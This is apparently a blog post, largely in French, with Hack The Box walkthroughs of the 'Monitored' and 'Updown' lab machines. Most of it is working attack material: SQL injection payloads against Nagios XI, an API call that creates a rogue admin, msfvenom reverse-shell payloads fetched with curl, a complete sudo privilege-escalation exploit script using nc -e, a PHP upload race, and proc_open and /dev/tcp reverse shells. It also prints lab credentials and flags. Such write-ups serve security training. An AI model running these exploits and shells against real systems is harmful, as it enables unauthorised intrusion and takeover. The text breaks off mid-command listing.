Medium on sl0wguy's Blog

HTB | Monitored

Wed, 12 Nov 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Monitored	Linux	10.10.11.248	Medium

Users

1

svc : XjH7VCehowpR1xZB

Enumeration

nmap TCP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.248
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABg
| 256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbeArqg4dgxZEFQzd3zpod1RYGUH6Jfz6tcQjHsVTvRNnUzqx5nc7gK2kUUo1HxbEAH+cPziFjNJc6q7vvpzt4=
| 256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5o+WJqnyLpmJtLyPL+tEUTFbjMZkx3jUUFqejioAj7
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.56
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp open ldap syn-ack ttl 63 OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))
|_http-title: Nagios XI
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
| Issuer: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/emailAddress=support@monitored.htb/localityName=Bournemouth
| Public Key type: rsa10.10.11.248
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-11-11T21:46:55
| Not valid after: 2297-08-25T21:46:55
| MD5: b36a55607a5f047d983864504d67cfe0
| SHA-1: 610938448c36b08b0ae8a132971c8e89cfac2b5b
| -----BEGIN CERTIFICATE-----
| MIID/zCCAuegAwIBAgIUVhOvMcK6dv/Kvzplbf6IxOePX3EwDQYJKoZIhvcNAQEL
| 4c8NpU/6egay1sl2ZrQuO8feYA==
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.4.56 (Debian)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
5667/tcp open tcpwrapped syn-ack ttl 63
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=11/10%OT=22%CT=1%CU=37179%PV=Y%DS=2%DC=T%G=Y%TM=691219
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Foothold

SNMP

Avec un scan nmap sur les ports UDP, on comprend que le port SNMP est ouvert. Avec nmap, on effectue plusieurs commandes SNMP et on trouve des credentials:

svc / “XjH7VCehowpR1xZB”

1
2
3
4
5


$ nmap -vv --reason -Pn -T4 -sU -sV -p 161 --script="banner,(snmp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "/opt/my-resources/setup/zsh/results/10.10.11.248/scans/udp161/udp_161_snmp-nmap.txt" -oX "/opt/my-resources/setup/zsh/results/10.10.11.248/scans/udp161/xml/udp_161_snmp_nmap.xml" 10.10.11.248
| 631:
| Name: sh
| Path: /bin/sh
| Params: -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB

Le user/pass ne fonctionne pas “The specified user account has been disabled or does not exist.”

SQL Injection

En cherchant sur internet, on trouve la CVE suivante (que l’on teste à l’aveugle car on ne connait pas la version de Nagios XI qui est installée) : CVE-2023-40931

A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1
Host: nagios.monitored.htb
Cookie: nagiosxi=lmeogjafdeiommcbnhu1k7s9lh
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 204

action=acknowledge_banner_message&token=9f86697945abf56d35a7ee14233bef5b481a51be&id=3+OR+(SELECT+7402+FROM(SELECT+COUNT(*),CONCAT(@@version,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

-----------------------

 <p><pre>SQL Error [nagiosxi] : Duplicate entry '10.5.23-MariaDB-0+deb11u11' for key 'group_key'</pre></p>
{"message":"Failed to acknowledge message.","msg_type":"error"}

On récupère le hachage Admin, que l’on ne réussit pas à déchiffrer.

1
2
3
4
5
6
7


action=acknowledge_banner_message&token=9f86697945abf56d35a7ee14233bef5b481a51be&id=3+OR+(SELECT+7402+FROM(SELECT+COUNT(*),CONCAT((select+username+from+xi_users+LIMIT+1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

>>> SQL Error [nagiosxi] : Duplicate entry 'nagiosadmin1' for key 'group_key' # --> nagiosadmin (le "1" est raouté par FLOOR(...))

action=acknowledge_banner_message&token=9f86697945abf56d35a7ee14233bef5b481a51be&id=3+OR+(SELECT+7402+FROM(SELECT+COUNT(*),CONCAT((select+password+from+xi_users+LIMIT+1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)

>>> SQL Error [nagiosxi] : Duplicate entry '$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C1' for key 'group_key'

J’ai tenté de bruteforce le hash mais ça n’a pas fonctionné : j’avais oublié que chaque résultat de requete SQL rajoutait un “1” à la fin… Donc mon hash était en vérité:

$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C <—- sans la 1 !! (Mais ça n’a pas fonctionné de toute manière)

xi_users table:

user_id, username, password, name, email, backend_ticket, enabled, api_key, api_enabled, login_attempts, last_attempt, last_password_change, last_login, last_edited, …

J’ai récupérer les colonnes de la table xi_users en utilisant ce type de requêtes :

1
2
3
4
5


select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 1
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 1,1
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 2,1
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where table_name='xi_users' limit 3,1
...

On réussi à récupérer la clé API de l’administateur :

1
2
3
4
5


# If you have "..." because your string is very long
select api_key from xi_users limit 1
>>> 'IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9C...'
# You can use SUBSTRING multiple times to dump the string
select SUBSTRING(api_key, 1, 10) from xi_users limit 1

IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL

En récupérant les requête API utilisé sur une autre exploit disponible (récente), j’ai pu créer un nouvel utilisateur Administrateur :

1
2
3
4


POST /nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1 HTTP/1.1
Host: 10.10.11.248

username=Lu6Wk&password=DxMkC&name=Lu6Wk&email=Lu6Wk%40mail.com&auth_level=admin

On peut alors ensuite se connecter sur l’interface graphique de nagios XI avec ce nouvel utilisateur et créer des commandes sur cette page :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


GET /nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1

------------------------

https://nagios.monitored.htb/nagiosxi/includes/components/ccm/index.php?cmd=modify&type=command&id=158&page=1&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcommand%26page%3D1
>>> Command Line : cat user.txt

------------------------

GET /nagiosxi/includes/components/nagioscorecfg/applyconfig.php

------------------

GET /nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid=158&nsp=443df18d3ff18d83e02a7bb13fc42870f7b73046851cecd9e301897d427f8a5e HTTP/1.1
Host: nagios.monitored.htb
User-Agent: python-requests/2.32.4
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: nagiosxi=8pi6o9q2kph72ugu230v9vjq2g

>>>>>>>>>>>>>>
HTTP/1.1 200 OK
...
[nagios@monitored ~]$ cat user.txt
213b4331f50e5f1072d301938db28331

Stable Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


# Reverse Shell Linux ELF
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.14 LPORT=1337 -f elf > shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes

$ http-server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.248 - - [11/Nov/2025 19:58:51] "GET /shell HTTP/1.1" 200 -

------------------------------

Through Burp, I executed 3 commands in a row :
- curl http://10.10.14.14/shell -O shell
- chmod 777 shell
- ./shell

------------------------------

$ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.248.
Ncat: Connection from 10.10.11.248:53330.

python3 -c 'import pty;pty.spawn("/bin/bash")'
nagios@monitored:/home/nagios$ export TERM=xterm
export TERM=xterm
nagios@monitored:/home/nagios$ ^Z
[1] + 68520 suspended nc -lnvp 1337
$ stty raw -echo;fg
[1] + 68520 continued nc -lnvp 1337
nagios@monitored:/home/nagios$ whoami
nagios
nagios@monitored:/home/nagios$ ls
cookie.txt shell user.txt
nagios@monitored:/home/nagios$ cat user.txt
213b4331f50e5f1072d301938db28331

SSH to nagios

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


nagios@monitored:/home/nagios$ cd .ssh
nagios@monitored:/home/nagios/.ssh$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/nagios/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/nagios/.ssh/id_rsa
Your public key has been saved in /home/nagios/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:2NBZpIJ+HjRmFS93s8DRbV8sAp4rqh+3kPsTvXVzki0 nagios@monitored
The key s randomart image is:
+---[RSA 3072]----+
......
+----[SHA256]-----+
nagios@monitored:/home/nagios/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC....id8HqID90SBHsANCYUhofRFH5rCG3alGvYyYNMu+Wk= nagios@monitored
nagios@monitored:/home/nagios/.ssh$ mv id_rsa.pub authorized_keys
nagios@monitored:/home/nagios/.ssh$ ls
authorized_keys id_rsa
nagios@monitored:/home/nagios/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5v.......c0Btb25pdG9yZWQBAg==
-----END OPENSSH PRIVATE KEY-----

--------------------

# Copy the id_rsa to my machine and connect to nagios using SSH
$ vim nagios.key
$ chmod 600 nagios.key
$ ssh nagios@10.10.11.248 -i nagios.key
Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
...
Last login: Wed Mar 27 10:32:47 2024 from 10.10.14.23
nagios@monitored:~$ whoami
nagios
nagios@monitored:~$ cat user.txt
213b....8331

Privilege Escalation

CVE-2024-24402

Je lance une recherche sur google :

“exploit nagiosxi script as root” ce qui m’amène vers ce lien :
https://gist.github.com/sec-fortress/6d128a5e290e873be4c2ca27b6579eca

ou encore la recherche :

“cve nagioxi priv esc” qui m’amène vers ce lien, expliquant la même CVE :
https://github.com/MAWK0235/CVE-2024-24402

En faisant sudo -l, on se rend compte qu’on peut executer beaucoup de binaires en tant que root avec sudo. En regardant de plus près les scripts, il ne s’agit que de scripts de nagiosxi qui n’ont pas subis de modification.

Ce qui veut signifie que s’il existe un moyen d’exploiter ces binaires, il existe probablement une CVE sur internet. Et si ne n’est pas le cas, ils ne sont pas surement pas exploitables.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


nagios@monitored:~$ sudo -l
Matching Defaults entries for nagios on localhost:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nagios may run the following commands on localhost:
 (root) NOPASSWD: /etc/init.d/nagios start
 (root) NOPASSWD: /etc/init.d/nagios stop
 (root) NOPASSWD: /etc/init.d/nagios restart
 (root) NOPASSWD: /etc/init.d/nagios reload
 (root) NOPASSWD: /etc/init.d/nagios status
 (root) NOPASSWD: /etc/init.d/nagios checkconfig
 (root) NOPASSWD: /etc/init.d/npcd start
 (root) NOPASSWD: /etc/init.d/npcd stop
 (root) NOPASSWD: /etc/init.d/npcd restart
 (root) NOPASSWD: /etc/init.d/npcd reload
 (root) NOPASSWD: /etc/init.d/npcd status
 (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
 (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
 (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
 (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *

Voici ce que contient le fichier executable nous permettant d’exploiter /usr/local/nagiosxi/scripts/manage_services.sh pour devenir root :
exploit.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


#!/bin/bash

# Create npcd script
echo "#!/bin/bash" > /tmp/npcd
echo "nc -e /bin/bash 10.10.14.14 4445" >> /tmp/npcd

# Grant executable permissions on the npcd script
chmod +x /tmp/npcd 2>/dev/null

# Stop the npcd service
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd

# Replace original npcd script
cp /tmp/npcd /usr/local/nagios/bin/npcd 2>/dev/null

echo "[+] Start Up your listener"
sleep 1
echo "[+] nc -lvnp 4445"

sleep 15

echo "[+] Expect your shellzz xD"

# start service to recieve reverse shell
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

sleep 5

echo "[+] done"

Il faut donc remplacer le binaire ntpd par un faux contenant un reverse shell, puis redemarrer le service en utilisant le script manage_services.sh avec sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


nagios@monitored:~$ ./exploit.sh
[+] Start Up your listener
[+] nc -lvnp 4445
[+] Expect your shellzz xD
[+] done

-------------------------

nc -lnvp 4445
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4445
Ncat: Listening on 0.0.0.0:4445
Ncat: Connection from 10.10.11.248.
Ncat: Connection from 10.10.11.248:40642.
whoami
root
cd /root
cat root.txt
cf92....0a0a

HTB | Updown

Thu, 30 Oct 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Updown	Linux	10.10.11.177	Medium

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.11.177
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e1f98d7c8ba61dbf149669d701702e7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7j17X/EWcm1MwzD7sKOFZyTUggWH1RRgwFbAK+B6R28x47OJjQW8VO4tCjTyvqKBzpgg7r98xNEykmvnMr0V9eUhg6zf04GfS/gudDF3Fbr3XnZOsrMmryChQdkMyZQK1HULbqRij1tdHaxbIGbG5CmIxbh69mMwBOlinQINCStytTvZq4btP5xSMd8pyzuZdqw3Z58ORSnJAorhBXAmVa9126OoLx7AzL0aO3lqgWjo/wwd3FmcYxAdOjKFbIRiZK/f7RJHty9P2WhhmZ6mZBSTAvIJ36Kb4Z0NuZ+ztfZCCDEw3z3bVXSVR/cp0Z0186gkZv8w8cp/ZHbtJB/nofzEBEeIK8gZqeFc/hwrySA6yBbSg0FYmXSvUuKgtjTgbZvgog66h+98XUgXheX1YPDcnUU66zcZbGsSM1aw1sMqB1vHhd2LGeY8UeQ1pr+lppDwMgce8DO141tj+ozjJouy19Tkc9BB46FNJ43Jl58CbLPdHUcWeMbjwauMrw0=
| 256 c21cfe1152e3d7e5f759186b68453f62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMJ3/md06ho+1RKACqh2T8urLkt1ST6yJ9EXEkuJh0UI/zFcIffzUOeiD2ZHphWyvRDIqm7ikVvNFmigSBUpXI=
| 256 5f6e12670a66e8e2b761bec4143ad38e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL1VZrZbtNuK2LKeBBzfz0gywG4oYxgPl+s5QENjani1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)

Foothold

siteisup.htb - Port 80

Subdomain dev.siteisup.htb

On trouve une sous-domaine, mais aucune page ne semble accessible (“forbidden”).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


gobuster vhost -u "siteisup.htb" -w `fzf-wordlists` --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://siteisup.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.siteisup.htb Status: 403 [Size: 281]

dev/.git - git-dumper

On trouve une dossier dev/.git :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


dirsearch -u http://siteisup.htb/dev

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://siteisup.htb/

[00:47:20] Scanning: dev/
[00:47:22] 301 - 315B - /dev/.git -> http://siteisup.htb/dev/.git/
[00:47:22] 200 - 3KB - /dev/.git/
[00:47:22] 200 - 772B - /dev/.git/branches/
[00:47:22] 200 - 298B - /dev/.git/config
[00:47:22] 200 - 73B - /dev/.git/description
...

Dans le .git, on trouve un fichier .htaccess nous indiquant qu’un header spécifique permettrait de débloquer l’accès à certaines pages.

1
2
3
4
5
6
7
8


$ git-dumper http://siteisup.htb/dev/ ./git-dump
...
$ cd git-dump
$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

En essayant d’accéder à dev.siteisup.htb en ajoutant le header, on obtient l’accès à ce vhost !

checker.php

On trouve un fichier changelog.txt indiquant qu’une option nous permettant d’upload des fichiers existe. changelog.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


cat changelog.txt
Beta version

1- Check a bunch of websites.

-- ToDo:

1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.

En analysant la page disponible sur dev.siteisup.htb et le fichier checker.php récupérer dans le .git, on comprend qu’il s’agit bien de la meme page.

Cette page semble contenir une vulnérabilité de type File Upload, nous permettant eventuellement d’executer du code PHP.

File Upload - PHP RCE

La requete suivante permet d’uploader un fichier PHP avec l’extension .phar, qui sera executé correctement comme du php :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


POST / HTTP/1.1
Host: dev.siteisup.htb
Special-Dev: only4dev
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8
Content-Length: 652
Origin: http://dev.siteisup.htb
Connection: keep-alive
Referer: http://dev.siteisup.htb
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8
Content-Disposition: form-data; name="file"; filename="shell.phar"
Content-Type: application/x-php

http://google.com
http://siteisup.com
http://10.10.10.10
http://google.com
http://google.com
http://siteisup.com
http://10.10.10.10
http://google.com
http://google.com
http://siteisup.com
http://10.10.10.10
http://google.com

<?php
echo file_get_contents( "/etc/passwd" );
?>

------geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8
Content-Disposition: form-data; name="check"

Check
------geckoformboundary5c49bfd8a8fdd6fcf6070b52067a09e8--

Le code source de checker.php récupérer dans le .git, nous montre que les fichiers sont uploader dans un dossier du nom de:

md5(time())

On a donc créer le code bash suivant, afin de retrouver rapidement le fichier shell.phar : md5.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


#!/bin/bash

timestamp=$(date +%s)

for i in {1..10}; do
 t=$(($timestamp-$i))
 md5=$(echo -n $t | md5sum | cut -d' ' -f1)
 #echo $md5
 url='http://dev.siteisup.htb/uploads/'$md5'/'$1
 echo "curl "$url" -H 'Special-Dev: only4dev' -i"
 curl $url -H 'Special-Dev: only4dev' -i
done

Ce code Bash génère 10 noms de dossiers possible pour les 10 dernières secondes écoulées, puis effectuer des requêtes curl avec ces 10 dossiers vers le fichier shell.phar.

Lors de l’execution de notre requpête Burp, il suffit ensuite d’executer notre script Bash qui va retrouver notre fichier shell.phar et executer le code PHP présent. ATTENTION, dans la requete Burp, il faut rajouter beaucoup de :

http://google.com http://google.com …

au début de la requête.

En effet, le fichier shell.phar est créer uniquement le temps de vérification des URL par le checker.php. Plus on met d’URL, plus le temps d’execution est long et notre fichier n’est pas supprimé.

Dans un premier temps, on a afficher /etc/passwd :

./md5.sh shell.phar

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
developer:x:1002:1002::/home/developer:/bin/bash

Reverse Shell - proc_open

En regardant la sortie de phpinfo(), on découvre qu’une liste de fonctions est bloqué:

system, shell_exec, exec…

Les fonctions utilisées habituellement pour executer des commandes et obtenir un reverse shell ne fonctionnent pas.

Cependant, après quelques recherches on trouve le fonction proc_open qui n’est pas bloqué et permet d’executer du code :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<?php
$descriptorspec = array(
 0 => array("pipe", "r"),
 1 => array("pipe", "w"),
 2 => array("pipe", "w")
);

$cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.14/4444 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes);

if (is_resource($process)) {
 fclose($pipes[0]);
 echo stream_get_contents($pipes[1]);
 fclose($pipes[1]);
 echo stream_get_contents($pipes[2]);
 fclose($pipes[2]);
 proc_close($process);
}
?>

La meilleure technique aurait été de directement généré un reverse shell php à l’aide de msfvenom. Ce code php teste 1 par 1 toutes les fonctions permettant l’execution de commandes systèmes :

1

msfvenom -p php/reverse_php LHOST=10.10.14.14 LPORT=1337 -f raw > shell.php

En utilisant ce code, on obient directement un reverse shell à l’aide de proc_open. Le problème avec cette méthode est qu’on ne sait pas forcement quelle fonction à permis d’obtenir le reverse shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


$ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:49708.
socket_create

whoami
www-data
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.14 1338 >/tmp/f

-------------------
# Better shell

$ nc -lnvp 1338
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.11.177.
Ncat: Connection from 10.10.11.177:35496.
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@updown:/var/www/dev/uploads/ab47bcda3749f056619b17b959cdd659$ export TERM=xterm
<ab47bcda3749f056619b17b959cdd659$ export TERM=xterm
www-data@updown:/var/www/dev/uploads/ab47bcda3749f056619b17b959cdd659$ ^Z
[1] + 13292 suspended nc -lnvp 1338
[exegol-pentest] downloads # stty raw -echo;fg
[1] + 13292 continued nc -lnvp 1338

www-data@updown:/var/www/dev/uploads/ab47bcda3749f056619b17b959cdd659$

www-data -> developer

SUID binary - Python Injection

On trouve un binaire siteiup. En l’executant, on se rend compte qu’il interprete directement le code de “siteisup_test.py”.

1
2
3
4
5
6
7
8
9


www-data@updown:/home/developer$ ls
dev user.txt
www-data@updown:/home/developer$ cd dev
www-data@updown:/home/developer/dev$ ls -lah
total 32K
drwxr-x--- 2 developer www-data 4.0K Jun 22 2022 .
